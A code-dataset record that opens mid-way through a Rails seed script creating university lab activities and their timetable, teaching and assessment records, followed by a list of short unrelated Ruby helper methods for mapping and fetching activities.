user_id: 2)\n at615 = ActivityTimetable.where(activity_id: a615.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a615.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a615.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a615.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a615.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 3)\n\n\n a616 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"130\").first_or_create!(name: \"Consigma Front Training\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at616 = ActivityTimetable.where(activity_id: a616.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 1, max_week_num: 3, pref_room_id: $room_pp.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 10, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a616.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a616.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a616.id).first_or_create!(assess_weight: nil, notes: \"only training to get them ready for the actual exp\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a616.id).first_or_create!(cost_per_student: nil, equip_needed: \"ConsiGma25\",\n last_risk_assess: Date.new(19, 1, 20), next_risk_assess: Date.new(20, 1, 20), tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a616.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a617 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"131\").first_or_create!(name: \"Consigma Back Training\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 5)\n at617 = ActivityTimetable.where(activity_id: a617.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 1, max_week_num: 3, pref_room_id: $room_pp.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 10, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a617.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a617.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a617.id).first_or_create!(assess_weight: nil, notes: \"only training to get them ready for the actual exp\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a617.id).first_or_create!(cost_per_student: nil, equip_needed: \"ConsiGma25\",\n last_risk_assess: Date.new(19, 1, 20), next_risk_assess: Date.new(20, 1, 20), tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a617.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a618 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"132\").first_or_create!(name: \"Cont Crystalliser Training\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at618 = ActivityTimetable.where(activity_id: a618.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 1, max_week_num: 3, pref_room_id: $room_al.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 10, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a618.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a618.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a618.id).first_or_create!(assess_weight: nil, notes: \"only training to get them ready for the actual exp\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a618.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a618.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a619 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE260\").first.id, code: \"133\").first_or_create!(name: \"Carousel Filter Dryer Training\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 5)\n at619 = ActivityTimetable.where(activity_id: a619.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 1, max_week_num: 3, pref_room_id: $room_al.id,\n same_as_prev_year: true, series_setup_time: 30, setup_time: 60, takedown_time: 60, notes: \"\",\n capacity: 10, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a619.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a619.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a619.id).first_or_create!(assess_weight: nil, notes: \"only training to get them ready for the actual exp\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_other.id, num_assess: nil)\n ActivityTech.where(activity_id: a619.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a619.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a620 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"COM1005\").first.id, code: \"unknowncode82\").first_or_create!(name: \"Lab\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at620 = ActivityTimetable.where(activity_id: a620.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a620.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a620.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a620.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a620.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a620.id, programme_id: $prog_com.id).first_or_create!\n\n\n a621 = Activity.where(theme_id: $acme.id, uni_module_id: UniModule.where(code: \"FCE001\").first.id, code: \"unknowncode83\").first_or_create!(name: \"Iforge\",\n name_abrv: \"IF\", archived: false, in_drive: false, user_id: 4)\n at621 = ActivityTimetable.where(activity_id: a621.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a621.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a621.id).first_or_create!(criteria: \"#N/A\",\n job_desc:\"#N/A\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a621.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a621.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a621.id, programme_id: $prog_com.id).first_or_create!\n\n\n a622 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE360\").first.id, code: \"134\").first_or_create!(name: \"Investigation of Residence Time Distribution in a CSTR\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 5)\n at622 = ActivityTimetable.where(activity_id: a622.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 6, max_week_num: 12, pref_room_id: $room_al.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 15, takedown_time: 15, notes: \"\",\n capacity: 6, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a622.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a622.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a622.id).first_or_create!(assess_weight: 10.0, notes: \"\",\n pre_assess_type_id: $ass_p2p.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_mole.id, num_assess: 1)\n ActivityTech.where(activity_id: a622.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a622.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a623 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6602\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 5)\n at623 = ActivityTimetable.where(activity_id: a623.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a623.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a623.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a623.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a623.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a623.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a624 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6600\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at624 = ActivityTimetable.where(activity_id: a624.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a624.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a624.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a624.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a624.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a624.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a625 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6222\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at625 = ActivityTimetable.where(activity_id: a625.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a625.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a625.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a625.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a625.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a625.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a626 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6225\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at626 = ActivityTimetable.where(activity_id: a626.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a626.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a626.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a626.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a626.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a626.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a627 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"COM6910\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 4)\n at627 = ActivityTimetable.where(activity_id: a627.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a627.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a627.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a627.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a627.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a627.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a628 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6602\").first.id, code: \"141\").first_or_create!(name: \"Lab View\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at628 = ActivityTimetable.where(activity_id: a628.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a628.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a628.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a628.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a628.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a628.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a629 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6602\").first.id, code: \"402\").first_or_create!(name: \"FPGA\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at629 = ActivityTimetable.where(activity_id: a629.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a629.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a629.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a629.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a629.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a629.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a630 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6600\").first.id, code: \"402\").first_or_create!(name: \"FPGA\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at630 = ActivityTimetable.where(activity_id: a630.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a630.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a630.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a630.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a630.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a630.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a631 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6602\").first.id, code: \"142\").first_or_create!(name: \"Power Electronics\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 1)\n at631 = ActivityTimetable.where(activity_id: a631.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a631.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a631.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a631.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a631.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a631.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a632 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"EEE6602\").first.id, code: \"313\").first_or_create!(name: \"Clean Room\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at632 = ActivityTimetable.where(activity_id: a632.id).first_or_create!(duration: nil, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: nil, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a632.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a632.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a632.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a632.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a632.id, programme_id: $prog_eee.id).first_or_create!\n\n\n a633 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"CPE360\").first.id, code: \"135\").first_or_create!(name: \"Bioreactor Engineering\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 3)\n at633 = ActivityTimetable.where(activity_id: a633.id).first_or_create!(duration: 60, kit_prep_time: nil, min_week_num: 9, max_week_num: 12, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 6, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a633.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a633.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a633.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a633.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a633.id, programme_id: $prog_cbe.id).first_or_create!\n\n\n a634 = Activity.where(theme_id: $ccee.id, uni_module_id: UniModule.where(code: \"AMR131\").first.id, code: \"134\").first_or_create!(name: \"Workstation Familiarisation\",\n name_abrv: \"\", archived: false, in_drive: false, user_id: 2)\n at634 = ActivityTimetable.where(activity_id: a634.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: 1, max_week_num: 6, pref_room_id: nil,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"To run before DC Circuits\",\n capacity: 140, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a634.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_high.id)\n ActivityGta.where(activity_id: a634.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a634.id).first_or_create!(assess_weight: nil, notes: \"\",\n pre_assess_type_id: $ass_none.id, during_assess_type_id: $ass_none.id, post_assess_type_id: $ass_none.id, post_lab_type_id: $post_none.id, num_assess: nil)\n ActivityTech.where(activity_id: a634.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a634.id, programme_id: $prog_amrc.id).first_or_create!\n \nend", "def strip_unenriched(activities, includes)\n activities.map do |act|\n if act['activities'] # Recurse into activity groups\n act['activities'] = strip_unenriched(act['activities'], includes)\n else\n includes.each do |key|\n # If it's an array (nested enrichment), grab the top level\n key = key.first if key.is_a?(Array)\n # Delete if it's still a string\n act.delete(key.to_s) if act[key.to_s].is_a?(String)\n end\n end\n act\n end\n end", "def activities\n PointActivity.for_activity(obj, user)\n end", "def activities\n @activities = if @project\n @project.activities\n else\n User.current.projects.all(:include => :time_entry_activities).map(&:time_entry_activities).flatten + TimeEntryActivity.shared.active\n end\n\n respond_to do |format|\n format.xml\n end\n end", "def activities\n activities = [];all_activities = []\n all_activities << RedemptionLog.user_activities(self)\n all_activities << FeedbackLog.user_activities(self)\n sorted_activities = all_activities.flatten.compact.sort_by!{|activity| activity.updated_at }.reverse\n sorted_activities.each do |activity|\n activities << {points: activity.points, outlet_id: activity.outlet_id, outlet_name: activity.outlet_name,\n type: activity.class.name.gsub(/Log/i,''), updated_at: activity.updated_at}\n end\n activities\n end", "def my_map (proc=nil)\n result = []\n my_each do |i|\n result << (proc ? proc.call(i) : yield(i))\n end\n result\n end", "def activities(params = {})\n scope 'default'\n get('activities/', params)\n end", "def map_values!(hash, fn)\n hash.each { |key, value| hash[key] = fn[value] }\n hash\n end", "def my_map(&my_proc)\n mapped = [] # modified array\n self.my_each do |el|\n mapped << (my_proc != nil ? my_proc.call(el) : yield(el))\n end\n mapped\n end", "def using_map_on_hash \n\tp \"This is before running the superhero hash .map! block\"\n\tp superheroes\n\tsuperheroes.map! do |superhero, power|\n\t\tp \"#{superhero}, #{power}\"\n\tend\n\tp \"This is after running the superhero hash .map! block\"\n\tend", "def all_activities(**args)\n params = parameters(args) do\n optional_params :user_id, :filter_id, :type, :start, :limit, :start_date, :end_date, :done\n end\n request(:get, 'activities', params)\n end", "def my_map_p(proc)\n\t\tresults = []\n\t\tself.my_each do |item|\n\t\t\tresults << proc.call(item)\n\t\tend\n\t\tresults\n\tend", "def get_activities\n @params=task_params\n @project=current_user.projects.find(@params[:project_id])\n counter=0\n @res=[]\n @project.activities.each do |p|\n if p.users.include? current_user\n @res[counter]={\n activity_id: p.id, \n name: p.name\n }\n counter+=1\n end\n end\n respond_to do |format|\n format.json {render json: @res.uniq}\n end\n end", "def my_map(proc)\n return_array = []\n self.my_each do |item|\n return_array << proc.call(item)\n end\n return_array\n end", "def map(hash); end", "def apply(mapping, data)\n transformation = @mappings[mapping]\n return data unless transformation\n\n case data\n when nil\n data\n when Array\n data.map { |datas| transformation.call(datas) }\n else\n transformation.call(data)\n end\n 